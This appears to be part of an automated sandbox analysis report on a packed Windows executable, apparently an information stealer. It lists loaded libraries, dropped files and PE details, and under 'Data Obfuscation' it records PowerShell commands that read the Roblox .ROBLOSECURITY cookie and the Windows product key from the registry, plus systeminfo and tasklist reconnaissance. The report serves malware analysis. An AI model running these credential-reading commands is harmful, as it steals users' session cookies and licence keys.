Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: X9g8L63QGs.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: X9g8L63QGs.exe

Static file information: File size 7849526 > 1048576

Source: X9g8L63QGs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: X9g8L63QGs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: X9g8L63QGs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: X9g8L63QGs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: X9g8L63QGs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: X9g8L63QGs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: X9g8L63QGs.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: X9g8L63QGs.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: X9g8L63QGs.exe, 00000007.00000002.1713477885.00007FFB0C620000.00000040.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: X9g8L63QGs.exe, 00000007.00000002.1710702996.00007FFB0B9BF000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: X9g8L63QGs.exe, 00000007.00000002.1711557292.00007FFB0BEEA000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: X9g8L63QGs.exe, 00000007.00000002.1711177920.00007FFB0BA55000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: X9g8L63QGs.exe, 00000004.00000003.1270486310.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: X9g8L63QGs.exe, 00000007.00000002.1711557292.00007FFB0BE52000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: X9g8L63QGs.exe, 00000004.00000003.1270486310.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: X9g8L63QGs.exe, 00000007.00000002.1711557292.00007FFB0BEEA000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.pdb source: powershell.exe, 00000046.00000002.1499829000.0000017515AF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000061.00000002.1609980700.00007FF708100000.00000002.00000001.01000000.0000001F.sdmp, rar.exe, 00000061.00000000.1596460046.00007FF708100000.00000002.00000001.01000000.0000001F.sdmp, rar.exe.4.dr
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1716138569.00007FFB1D5B1000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: X9g8L63QGs.exe, 00000007.00000002.1714464196.00007FFB167AB000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1715936942.00007FFB1D341000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.pdbhPa source: powershell.exe, 00000046.00000002.1499829000.0000017515AF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: X9g8L63QGs.exe, 00000007.00000002.1714464196.00007FFB167AB000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: X9g8L63QGs.exe, 00000007.00000002.1711177920.00007FFB0BA55000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.pdb source: powershell.exe, 00000046.00000002.1579982318.000001752C6A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: X9g8L63QGs.exe, 00000007.00000002.1712634643.00007FFB0BFE1000.00000040.00000001.01000000.0000000F.sdmp

Source: X9g8L63QGs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: X9g8L63QGs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: X9g8L63QGs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: X9g8L63QGs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: X9g8L63QGs.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: VCRUNTIME140.dll.4.dr

Static PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline"

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 7_2_00007FFB1AB121D0 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

7_2_00007FFB1AB121D0

Source: select.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0xfa84
Source: unicodedata.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x4adf9
Source: sqlite3.dll.4.dr	Static PE information: real checksum: 0x0 should be: 0xafbc4
Source: X9g8L63QGs.exe	Static PE information: real checksum: 0x783c8d should be: 0x77cc44
Source: _queue.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x166ae
Source: _socket.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x1381f
Source: python312.dll.4.dr	Static PE information: real checksum: 0x0 should be: 0x1bf182
Source: libffi-8.dll.4.dr	Static PE information: real checksum: 0x0 should be: 0xa1d1
Source: _lzma.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x2397a
Source: _bz2.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x189fc
Source: _decimal.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x27e7b
Source: _ctypes.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x1e3fe
Source: _ssl.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0x117b7
Source: libcrypto-3.dll.4.dr	Static PE information: real checksum: 0x0 should be: 0x197f77
Source: _sqlite3.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0xfc53
Source: libssl-3.dll.4.dr	Static PE information: real checksum: 0x0 should be: 0x4330c
Source: bexzy300.dll.71.dr	Static PE information: real checksum: 0x0 should be: 0x4f6b
Source: _hashlib.pyd.4.dr	Static PE information: real checksum: 0x0 should be: 0xfd4b

Source: libffi-8.dll.4.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.4.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.4.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5C31 push r10; ret	7_2_00007FFB0B8B5C33
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B8419 push r10; retf	7_2_00007FFB0B8B8485
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B9327 push rsp; ret	7_2_00007FFB0B8B9328
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B82D8 push rdi; iretd	7_2_00007FFB0B8B82DA
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B6859 push rsi; ret	7_2_00007FFB0B8B6890
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B808B push r12; iretd	7_2_00007FFB0B8B809F
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5FB9 push r10; ret	7_2_00007FFB0B8B5FCC
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B7FFF push r12; ret	7_2_00007FFB0B8B804A
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5F56 push r12; ret	7_2_00007FFB0B8B5F73
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B8F42 push rsp; iretq	7_2_00007FFB0B8B8F43
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B7F67 push rbp; iretq	7_2_00007FFB0B8B7F68
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5F7B push r8; ret	7_2_00007FFB0B8B5F83
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5EB4 push rsp; iretd	7_2_00007FFB0B8B5EB5
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5F01 push r12; ret	7_2_00007FFB0B8B5F10
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B763E push rbp; retf	7_2_00007FFB0B8B7657
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5E67 push rdi; iretd	7_2_00007FFB0B8B5E69
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B7689 push r12; ret	7_2_00007FFB0B8B76CD
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B8DBF push rsp; retf	7_2_00007FFB0B8B8DC0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5DF7 push r10; retf	7_2_00007FFB0B8B5DFA
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5E18 push rsp; ret	7_2_00007FFB0B8B5E1C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5CED push rdx; ret	7_2_00007FFB0B8B5CF7
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5CE5 push r8; ret	7_2_00007FFB0B8B5CEB
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5CE0 push r10; retf	7_2_00007FFB0B8B5CE2
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B5D06 push r12; ret	7_2_00007FFB0B8B5D08
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C06267D push rbx; retf	7_2_00007FFB0C062685
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0627AE push rsp; iretd	7_2_00007FFB0C0627B9
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C1A3016 push rsi; retf	7_2_00007FFB0C1A3017
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1AB12004 push rax; iretd	7_2_00007FFB1AB12005
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFAA9A6D2A5 pushad ; iretd	20_2_00007FFAA9A6D2A6

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_socket.pyd	Jump to dropped file
